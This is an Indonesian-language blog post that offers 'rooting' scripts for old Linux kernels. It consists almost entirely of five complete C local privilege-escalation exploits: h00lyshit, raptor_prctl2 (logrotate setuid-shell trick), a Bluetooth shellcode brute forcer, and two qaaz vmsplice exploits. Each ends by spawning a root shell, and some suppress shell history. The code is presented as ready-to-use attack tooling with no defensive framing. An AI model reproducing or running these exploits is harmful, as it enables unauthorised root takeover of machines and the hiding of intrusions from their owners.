Sebelumnya telah dibahas script untuk melakukan rooting dengan kernel versi:
- Linux Kernel <= 2.6.11
- Linux Kernel 2.6.13 <= 2.6.17.4 [Versi 1]
- Linux Kernel 2.6.13 <= 2.6.17.4 [Versi 2]
- Linux Kernel 2.6.13 <= 2.6.17.4 [Versi 3]
- Linux Kernel 2.6.13 <= 2.6.17.4 [Versi 4]
Kali ini saya akan memberikan script untuk melakukan rooting dengan kernel yang berbeda dari pembahasan sebelumnya.
Peringatan:
1. Linux Kernel <= 2.6.17.4
Code:
#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <fcntl.h>#include <errno.h>#include <sched.h>#include <sys/types.h>#include <sys/stat.h>#include <sys/prctl.h>#include <sys/mman.h>#include <sys/wait.h>#include <linux/a.out.h>#include <asm/unistd.h>
static struct exec ex;static char *e[256];static char *a[4];static char b[512];static char t[256];static volatile int *c;
/* h00lyshit shell code */__asm__ (" __excode: call 1f \n" " 1: mov $23, %eax \n" " xor %ebx, %ebx \n" " int $0x80 \n" " pop %eax \n" " mov $cmd-1b, %ebx \n" " add %eax, %ebx \n" " mov $arg-1b, %ecx \n" " add %eax, %ecx \n" " mov %ebx, (%ecx) \n" " mov %ecx, %edx \n" " add $4, %edx \n" " mov $11, %eax \n" " int $0x80 \n" " mov $1, %eax \n" " int $0x80 \n" " arg: .quad 0x00, 0x00 \n" " cmd: .string \"/bin/sh\" \n" " __excode_e: nop \n" " .global __excode \n" " .global __excode_e \n" );
extern void (*__excode) (void);extern void (*__excode_e) (void);
voiderror (char *err){ perror (err); fflush (stderr); exit (1);}
/* exploit this shit */voidexploit (char *file){ int i, fd; void *p; struct stat st;
printf ("\ntrying to exploit %s\n\n", file); fflush (stdout); chmod ("/proc/self/environ", 04755); c = mmap (0, 4096, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, 0, 0); memset ((void *) c, 0, 4096);
/* slow down machine */ fd = open (file, O_RDONLY); fstat (fd, &st); p = (void *) mmap (0, st.st_size, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0); if (p == MAP_FAILED) error ("mmap"); prctl (PR_SET_DUMPABLE, 0, 0, 0, 0); sprintf (t, "/proc/%d/environ", getpid ()); sched_yield (); execve (NULL, a, e); madvise (0, 0, MADV_WILLNEED); i = fork ();
/* give it a try */ if (i) { (*c)++; !madvise (p, st.st_size, MADV_WILLNEED) ? : error ("madvise"); prctl (PR_SET_DUMPABLE, 1, 0, 0, 0); sched_yield (); } else { nice(10); while (!(*c)); sched_yield (); execve (t, a, e); error ("failed"); }
waitpid (i, NULL, 0); exit (0);}
intmain (int ac, char **av){ int i, j, k, s; char *p;
memset (e, 0, sizeof (e)); memset (a, 0, sizeof (a)); a[0] = strdup (av[0]); a[1] = strdup (av[0]); a[2] = strdup (av[1]);
if (ac < 2) error ("usage: binary <big file name>"); if (ac > 2) exploit (av[2]); printf ("\npreparing"); fflush (stdout);
/* make setuid a.out */ memset (&ex, 0, sizeof (ex)); N_SET_MAGIC (ex, NMAGIC); N_SET_MACHTYPE (ex, M_386); s = ((unsigned) &__excode_e) - (unsigned) &__excode; ex.a_text = s; ex.a_syms = -(s + sizeof (ex));
memset (b, 0, sizeof (b)); memcpy (b, &ex, sizeof (ex)); memcpy (b + sizeof (ex), &__excode, s);
/* make environment */ p = b; s += sizeof (ex); j = 0; for (i = k = 0; i < s; i++) { if (!p[i]) { e[j++] = &p[k]; k = i + 1; } }
/* reexec */ getcwd (t, sizeof (t)); strcat (t, "/"); strcat (t, av[0]); execve (t, a, e); error ("execve"); return 0;}
2. Linux Kernel 2.6.13 <= 2.6.17.4
Code:
#include <stdio.h>#include <unistd.h>#include <stdlib.h>#include <signal.h>#include <sys/stat.h>#include <sys/resource.h>#include <sys/prctl.h>
#define INFO1 "raptor_prctl2.c - Linux 2.6.x suid_dumpable2 (logrotate)"#define INFO2 "Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>"
char payload[] = /* commands to be executed by privileged logrotate */"\n/var/log/core {\n daily\n size=0\n firstaction\n chown root /tmp/pwned; chmod 4755 /tmp/pwned; rm -f /etc/logrotate.d/core; rm -f /var/log/core*\n endscript\n}\n";
char pwnage[] = /* build setuid() helper to circumvent bash checks */"echo \"main(){setuid(0);setgid(0);system(\\\"/bin/sh\\\");}\" > /tmp/pwned.c; gcc /tmp/pwned.c -o /tmp/pwned &>/dev/null; rm -f /tmp/pwned.c";
int main(void){ int pid; struct rlimit corelimit; struct stat st;
/* print exploit information */ fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
/* prepare the setuid() helper */ system(pwnage);
/* set core size to unlimited */ corelimit.rlim_cur = RLIM_INFINITY; corelimit.rlim_max = RLIM_INFINITY; setrlimit(RLIMIT_CORE, &corelimit);
/* let's create a fake logfile in /var/log */ if (!(pid = fork())) { chdir("/var/log"); prctl(PR_SET_DUMPABLE, 2); sleep(666); exit(1); } kill(pid, SIGSEGV);
/* let's do the PR_SET_DUMPABLE magic */ if (!(pid = fork())) { chdir("/etc/logrotate.d"); prctl(PR_SET_DUMPABLE, 2); sleep(666); exit(1); } kill(pid, SIGSEGV);
/* did it work? */ sleep(3); if ((stat("/var/log/core", &st) < 0) || (stat("/etc/logrotate.d/core", &st) < 0)) { fprintf(stderr, "Error: Not vulnerable? See comments.\n"); exit(1); }
/* total pwnage */ fprintf(stderr, "Please wait until logrotate is run and check /tmp/pwned;)\n"); exit(0);}
3. Linux Kernel < 2.6.11.5 BLUETOOTH
Code:
#include <stdio.h>#include <stdlib.h>#include <sys/socket.h>#include <arpa/inet.h>#include <sys/types.h>#include <unistd.h>#include <limits.h>#include <signal.h>#include <sys/wait.h>
#define KERNEL_SPACE_MEMORY_BRUTE_START 0xc0000000#define KERNEL_SPACE_MEMORY_BRUTE_END 0xffffffff#define KERNEL_SPACE_BUFFER 0x100000
char asmcode[] = /*Global shellcode*/
"\xb8\x00\xf0\xff\xff\x31\xc9\x21\xe0\x8b\x10\x89\x8a""\x80\x01\x00\x00\x31\xc9\x89\x8a\x7c\x01\x00\x00\x8b""\x00\x31\xc9\x31\xd2\x89\x88\x90\x01\x00\x00\x89\x90""\x8c\x01\x00\x00\xb8\xff\xff\xff\xff\xc3";
struct net_proto_family { int family; int (*create) (int *sock, int protocol); short authentication; short encryption; short encrypt_net; int *owner; };
int check_zombie_child(int status,pid_t pid){ waitpid(pid,&status,0); if(WIFEXITED(status)) { if(WEXITSTATUS(status) != 0xFF) exit(-1); } else if (WIFSIGNALED(status)) { printf("KERNEL Oops. Exit Code = %d.(%s)\n",WTERMSIG(status),strsignal(WTERMSIG(status))); return(WTERMSIG(status)); }}
int brute_socket_create (int negative_proto_number){ socket(AF_BLUETOOTH,SOCK_RAW, negative_proto_number); /* overflowing proto number with negative 32bit value */ int i; i = geteuid(); printf("Checking the Effective user id after overflow : UID = %d\n",i);if(i)exit(EXIT_FAILURE); printf("0wnage D0ne bro.\n"); execl("/bin/sh","sh",NULL); exit(EXIT_SUCCESS);}
int main(void){
pid_t pid;int counter;int status;int *kernel_return;
char kernel_buffer[KERNEL_SPACE_BUFFER];unsigned int brute_start;unsigned int where_kernel;
struct net_proto_family *bluetooth;
bluetooth = (struct net_proto_family *) malloc(sizeof(struct net_proto_family));bzero(bluetooth,sizeof(struct net_proto_family));
bluetooth->family = AF_BLUETOOTH;bluetooth->authentication = 0x0; /* No Authentication */bluetooth->encryption = 0x0; /* No Encryption */bluetooth->encrypt_net = 0x0; /* No Encrypt_net */bluetooth->owner = 0x0; /* No fucking owner */bluetooth->create = (int *) asmcode;
kernel_return = (int *) kernel_buffer;
for( counter = 0; counter < KERNEL_SPACE_BUFFER; counter+=4, kernel_return++) *kernel_return = (int)bluetooth;
brute_start = KERNEL_SPACE_MEMORY_BRUTE_START;printf("Bluetooth stack local root exploit\n");printf("http://backdoored/net");
while ( brute_start < KERNEL_SPACE_MEMORY_BRUTE_END ) { where_kernel = (brute_start - (unsigned int)&kernel_buffer) / 0x4 ; where_kernel = -where_kernel;
pid = fork(); if(pid == 0 ) brute_socket_create(where_kernel); check_zombie_child(status,pid); brute_start += KERNEL_SPACE_BUFFER; fflush(stdout);}return 0;}
4. Linux Kernel 2.6.17 - 2.6.24.1
Code:
#define _GNU_SOURCE#include <stdio.h>#include <errno.h>#include <stdlib.h>#include <string.h>#include <malloc.h>#include <limits.h>#include <signal.h>#include <unistd.h>#include <sys/uio.h>#include <sys/mman.h>#include <asm/page.h>#define __KERNEL__#include <asm/unistd.h>
#define PIPE_BUFFERS 16#define PG_compound 14#define uint unsigned int#define static_inline static inline __attribute__((always_inline))#define STACK(x) (x + sizeof(x) - 40)
struct page { unsigned long flags; int count; int mapcount; unsigned long private; void *mapping; unsigned long index; struct { long next, prev; } lru;};
void exit_code();char exit_stack[1024 * 1024];
void die(char *msg, int err){ printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err)); fflush(stdout); fflush(stderr); exit(1);}
#if defined (__i386__)
#ifndef __NR_vmsplice#define __NR_vmsplice 316#endif
#define USER_CS 0x73#define USER_SS 0x7b#define USER_FL 0x246
static_inlinevoid exit_kernel(){ __asm__ __volatile__ ( "movl %0, 0x10(%%esp) ;" "movl %1, 0x0c(%%esp) ;" "movl %2, 0x08(%%esp) ;" "movl %3, 0x04(%%esp) ;" "movl %4, 0x00(%%esp) ;" "iret" : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL), "i" (USER_CS), "r" (exit_code) );}
static_inlinevoid * get_current(){ unsigned long curr; __asm__ __volatile__ ( "movl %%esp, %%eax ;" "andl %1, %%eax ;" "movl (%%eax), %0" : "=r" (curr) : "i" (~8191) ); return (void *) curr;}
#elif defined (__x86_64__)
#ifndef __NR_vmsplice#define __NR_vmsplice 278#endif
#define USER_CS 0x23#define USER_SS 0x2b#define USER_FL 0x246
static_inlinevoid exit_kernel(){ __asm__ __volatile__ ( "swapgs ;" "movq %0, 0x20(%%rsp) ;" "movq %1, 0x18(%%rsp) ;" "movq %2, 0x10(%%rsp) ;" "movq %3, 0x08(%%rsp) ;" "movq %4, 0x00(%%rsp) ;" "iretq" : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL), "i" (USER_CS), "r" (exit_code) );}
static_inlinevoid * get_current(){ unsigned long curr; __asm__ __volatile__ ( "movq %%gs:(0), %0" : "=r" (curr) ); return (void *) curr;}
#else#error "unsupported arch"#endif
#if defined (_syscall4)#define __NR__vmsplice __NR_vmsplice_syscall4( long, _vmsplice, int, fd, struct iovec *, iov, unsigned long, nr_segs, unsigned int, flags)
#else#define _vmsplice(fd,io,nr,fl) syscall(__NR_vmsplice, (fd), (io), (nr), (fl))#endif
static uint uid, gid;
void kernel_code(){ int i; uint *p = get_current();
for (i = 0; i < 1024-13; i++) { if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid) { p[0] = p[1] = p[2] = p[3] = 0; p[4] = p[5] = p[6] = p[7] = 0; p = (uint *) ((char *)(p + 8) + sizeof(void *)); p[0] = p[1] = p[2] = ~0; break; } p++; }
exit_kernel();}
void exit_code(){ if (getuid() != 0) die("wtf", 0);
printf("[+] root\n"); putenv("HISTFILE=/dev/null"); execl("/bin/bash", "bash", "-i", NULL); die("/bin/bash", errno);}
int main(int argc, char *argv[]){ int pi[2]; size_t map_size; char * map_addr; struct iovec iov; struct page * pages[5];
uid = getuid(); gid = getgid(); setresuid(uid, uid, uid); setresgid(gid, gid, gid);
printf("-----------------------------------\n"); printf(" Linux vmsplice Local Root Exploit\n"); printf(" By qaaz\n"); printf("-----------------------------------\n");
if (!uid || !gid) die("!@#$", 0);
/*****/ pages[0] = *(void **) &(int[2]){0,PAGE_SIZE}; pages[1] = pages[0] + 1;
map_size = PAGE_SIZE; map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (map_addr == MAP_FAILED) die("mmap", errno);
memset(map_addr, 0, map_size); printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size); printf("[+] page: 0x%lx\n", pages[0]); printf("[+] page: 0x%lx\n", pages[1]);
pages[0]->flags = 1 << PG_compound; pages[0]->private = (unsigned long) pages[0]; pages[0]->count = 1; pages[1]->lru.next = (long) kernel_code;
/*****/ pages[2] = *(void **) pages[0]; pages[3] = pages[2] + 1;
map_size = PAGE_SIZE; map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (map_addr == MAP_FAILED) die("mmap", errno);
memset(map_addr, 0, map_size); printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size); printf("[+] page: 0x%lx\n", pages[2]); printf("[+] page: 0x%lx\n", pages[3]);
pages[2]->flags = 1 << PG_compound; pages[2]->private = (unsigned long) pages[2]; pages[2]->count = 1; pages[3]->lru.next = (long) kernel_code;
/*****/ pages[4] = *(void **) &(int[2]){PAGE_SIZE,0}; map_size = PAGE_SIZE; map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (map_addr == MAP_FAILED) die("mmap", errno); memset(map_addr, 0, map_size); printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size); printf("[+] page: 0x%lx\n", pages[4]);
/*****/ map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE; map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (map_addr == MAP_FAILED) die("mmap", errno);
memset(map_addr, 0, map_size); printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
/*****/ map_size -= 2 * PAGE_SIZE; if (munmap(map_addr + map_size, PAGE_SIZE) < 0) die("munmap", errno);
/*****/ if (pipe(pi) < 0) die("pipe", errno); close(pi[0]);
iov.iov_base = map_addr; iov.iov_len = ULONG_MAX;
signal(SIGPIPE, exit_code); _vmsplice(pi[1], &iov, 1, 0); die("vmsplice", errno); return 0;}
5. Linux Kernel 2.6.23 - 2.6.24
Code:
#define _GNU_SOURCE#include <stdio.h>#include <errno.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <sys/uio.h>
#define TARGET_PATTERN " sys_vm86old"#define TARGET_SYSCALL 113
#ifndef __NR_vmsplice#define __NR_vmsplice 316#endif
#define _vmsplice(fd,io,nr,fl) syscall(__NR_vmsplice, (fd), (io), (nr), (fl))#define gimmeroot() syscall(TARGET_SYSCALL, 31337, kernel_code, 1, 2, 3, 4)
#define TRAMP_CODE (void *) trampoline #define TRAMP_SIZE ( sizeof(trampoline) - 1 )
unsigned char trampoline[] ="\x8b\x5c\x24\x04" /* mov 0x4(%esp),%ebx */"\x8b\x4c\x24\x08" /* mov 0x8(%esp),%ecx */"\x81\xfb\x69\x7a\x00\x00" /* cmp $31337,%ebx */"\x75\x02" /* jne +2 */"\xff\xd1" /* call *%ecx */"\xb8\xea\xff\xff\xff" /* mov $-EINVAL,%eax */"\xc3" /* ret */;
void die(char *msg, int err){ printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err)); fflush(stdout); fflush(stderr); exit(1);}
long get_target(){ FILE *f; long addr = 0; char line[128];
f = fopen("/proc/kallsyms", "r"); if (!f) die("/proc/kallsyms", errno);
while (fgets(line, sizeof(line), f)) { if (strstr(line, TARGET_PATTERN)) { addr = strtoul(line, NULL, 16); break; } }
fclose(f); return addr;}
static inline __attribute__((always_inline))void * get_current(){ unsigned long curr; __asm__ __volatile__ ( "movl %%esp, %%eax ;" "andl %1, %%eax ;" "movl (%%eax), %0" : "=r" (curr) : "i" (~8191) ); return (void *) curr;}
static uint uid, gid;
void kernel_code(){ int i; uint *p = get_current();
for (i = 0; i < 1024-13; i++) { if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid) { p[0] = p[1] = p[2] = p[3] = 0; p[4] = p[5] = p[6] = p[7] = 0; p = (uint *) ((char *)(p + 8) + sizeof(void *)); p[0] = p[1] = p[2] = ~0; break; } p++; } }
int main(int argc, char *argv[]){ int pi[2]; long addr; struct iovec iov;
uid = getuid(); gid = getgid(); setresuid(uid, uid, uid); setresgid(gid, gid, gid);
printf("-----------------------------------\n"); printf(" Linux vmsplice Local Root Exploit\n"); printf(" By qaaz\n"); printf("-----------------------------------\n");
if (!uid || !gid) die("!@#$", 0);
addr = get_target(); printf("[+] addr: 0x%lx\n", addr);
if (pipe(pi) < 0) die("pipe", errno);
iov.iov_base = (void *) addr; iov.iov_len = TRAMP_SIZE;
write(pi[1], TRAMP_CODE, TRAMP_SIZE); _vmsplice(pi[0], &iov, 1, 0);
gimmeroot();
if (getuid() != 0) die("wtf", 0);
printf("[+] root\n"); putenv("HISTFILE=/dev/null"); execl("/bin/bash", "bash", "-i", NULL); die("/bin/bash", errno); return 0;}
created by : red-dragon
0 comment:
Post a Comment